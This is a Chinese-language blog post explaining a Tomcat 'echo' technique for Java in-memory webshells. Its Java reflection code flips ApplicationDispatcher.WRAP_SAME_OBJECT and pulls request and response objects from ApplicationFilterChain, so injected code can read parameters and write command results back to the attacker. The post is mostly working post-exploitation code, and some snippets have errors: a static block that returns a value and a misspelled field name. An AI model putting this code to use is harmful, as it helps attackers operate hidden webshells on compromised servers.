Tomcat半通用回显

0x00 使用背景 / 目的

在java内存马中,用于将任意执行代码的结果,写入response中,来实现代码执行结果的回显

0x01 思路

  1. 通过反射获取org.apache.catalina.core.ApplicationDispatcherWRAP_SAME_OBJECT属性值
  2. 将属性值改为True,以便进入ApplicationFilterChain.class中指定分支,( 这个分支将request和response分别保存在lastServicedRequest和lastServicedResponse中 )
  3. 然后即可通过反射获取ApplicationFilterChain.class中lastServicedResponse和lastServicedRequest来获取request和response

0x02 具体细节

反射获取 WRAP_SAME_OBJECT ,然后设置为true

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
static{
//获取类
Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
//获取属性
java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
//获取该属性的描述符
java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers");
//取消该属性描述符的反射检查
modifiersField.setAccessible(true);
//通过该属性的描述符取消该属性的final描述
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
//取消该属性的反射检查
f.setAccessible(true);
//设置该属性的值为true
if (!f.getBoolean(null)) {
f.setBoolean(null, true);
}

//初始化 lastServicedRequest
c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
f = c.getDeclaredField("lastServicedRequest");
//清除缓存
clearFieldAccessors(f);
//
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal());
}

//初始化 lastServicedResponse
f = c.getDeclaredField("lastServicedResponse");
//清除缓存
clearFieldAccessors(f);
//---
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null,new ThreadLocal());
}


return "";
}

public static void clearFieldAccessors(Field field)
throws ReflectiveOperationException {
Field fa = Field.class.getDeclaredField("fieldAccessor");
fa.setAccessible(true);
fa.set(field, null);

Field ofa = Field.class.getDeclaredField("overrideFieldAccessor");
ofa.setAccessible(true);
ofa.set(field, null);

Field rf = Field.class.getDeclaredField("root");
rf.setAccessible(true);
Field root = (Field) rf.get(field);
if (root != null) {
clearFieldAccessors(root);
}

由此可以进入目标分支

1
2
3
4
5
//ApplicationFilterChain.class 104行附近
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);
}

然后就能够通过lastServicedResponse和lastServicedRequest来获取request和response,验证代码如下

1
2
3
4
5
6
java.lang.reflect.Field f2 = org.apache.catalina.core.ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
f2.setAccessible(true);
ThreadLocal t = (ThreadLocal)f2.get(null);
ServletResponse servletRequest = (ServletResponse) t.get();
System.out.println(servletRequest.toString());
return servletRequest.toString();

0x03 利用

request

1
2
3
4
5
6
7
8
9
//前提:获取到了servletRequest
java.lang.reflect.Field f2 = org.apache.catalina.core.ApplicationFilterChain.class.getDeclaredField("lastServicedRequeset");
f2.setAccessible(true);
ThreadLocal t = (ThreadLocal)f2.get(null);
ServletRequest servletRequest = (ServletRequest) t.get();

//获取请求中的get参数
servletRequest.getParameter("param_name")
//Servlet还有其他方法,都可以尝试,不一一举例了

response

1
2
3
4
5
6
7
8
9
10
11
//前提:获取到了servletResponse
java.lang.reflect.Field f2 = org.apache.catalina.core.ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
f2.setAccessible(true);
ThreadLocal t = (ThreadLocal)f2.get(null);
ServletResponse servletResponse = (ServletResponse) t.get();

//将想回显的字符串写入response
injectstr = "写入response中的字符串";
servletResponse.getOutputStream().write(injectstr.getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();

0x04 参考

https://xz.aliyun.com/t/7388#toc-2


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!